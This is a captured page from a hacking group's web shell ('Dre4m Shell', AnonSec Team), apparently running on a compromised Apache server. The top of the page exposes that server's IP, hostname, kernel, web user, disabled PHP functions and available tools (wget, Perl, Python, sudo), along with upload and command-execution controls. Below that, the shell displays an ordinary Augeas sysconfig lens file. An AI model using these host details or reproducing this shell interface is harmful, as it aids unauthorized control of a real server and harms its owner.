Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.218.167.247
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/augeas/lenses/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /usr/share/augeas/lenses/dist/sysconfig.aug
(* Variation of the Shellvars lens                                     *)
(* Supports only what's needed to handle sysconfig files               *)
(* Modified to strip quotes. In the put direction, add double quotes   *)
(* around values that need them                                        *)
(* To keep things simple, we also do not support shell variable arrays *)
module Sysconfig =

  let eol = Shellvars.eol
  let semicol_eol = Shellvars.semicol_eol

  let key_re = Shellvars.key_re
  let eq = Util.del_str "="

  let eol_for_comment = del /([ \t]*\n)([ \t]*(#[ \t]*)?\n)*/ "\n"
  let comment = Util.comment_generic_seteol /[ \t]*#[ \t]*/ "# " eol_for_comment
  let comment_or_eol = Shellvars.comment_or_eol

  let empty   = Util.empty

  let bchar = /[^; \t\n"'\\]|\\\\./ (* " Emacs, relax *)
  let qchar = /["']/  (* " Emacs, relax *)

  (* We split the handling of right hand sides into a few cases:
   *   bare  - strings that contain no spaces, optionally enclosed in
   *           single or double quotes
   *   quot  - strings that must be enclosed in single or double quotes
   *   dquot - strings that contain at least one space or apostrophe,
   *           which must be enclosed in double quotes
   *   squot - strings that contain an unescaped double quote
   *)
  let bare = Quote.do_quote_opt (store bchar+)

  let quot =
    let word = bchar* . /[; \t]/ . bchar* in
    Quote.do_quote (store word+)

  let dquot =
    let char = /[^"\\]|\\\\./ in             (* " *)
    let word = char* . "'" . char* in
    Quote.do_dquote (store word+)

  let squot =
    (* We do not allow escaped double quotes in single quoted strings, as  *)
    (* that leads to a put ambiguity with bare, e.g. for the string '\"'.  *)
    let char = /[^'\\]|\\\\[^"]/ in           (* " *)
    let word = char* . "\"" . char* in
    Quote.do_squote (store word+)

  let kv (value:lens) =
    let export = Shellvars.export in
    let indent = Util.del_opt_ws "" in
    [ indent . export? . key key_re . eq . value . comment_or_eol ]

  let assign =
    let nothing = del /(""|'')?/ "" . value "" in
    kv nothing | kv bare | kv quot | kv dquot | kv squot

  let var_action = Shellvars.var_action

  let unset = [ var_action "unset" . comment_or_eol ]
  let bare_export = [ var_action "export" . comment_or_eol ]

  let source = [ Shellvars.source . comment_or_eol ]

  let lns = empty* . (comment | source | assign | unset | bare_export)*

(*
  Examples:

  abc   -> abc -> abc
  "abc" -> abc -> abc
  "a b" -> a b -> "a b"
  'a"b' -> a"b -> 'a"b'
*)

Anon7 - 2022
AnonSec Team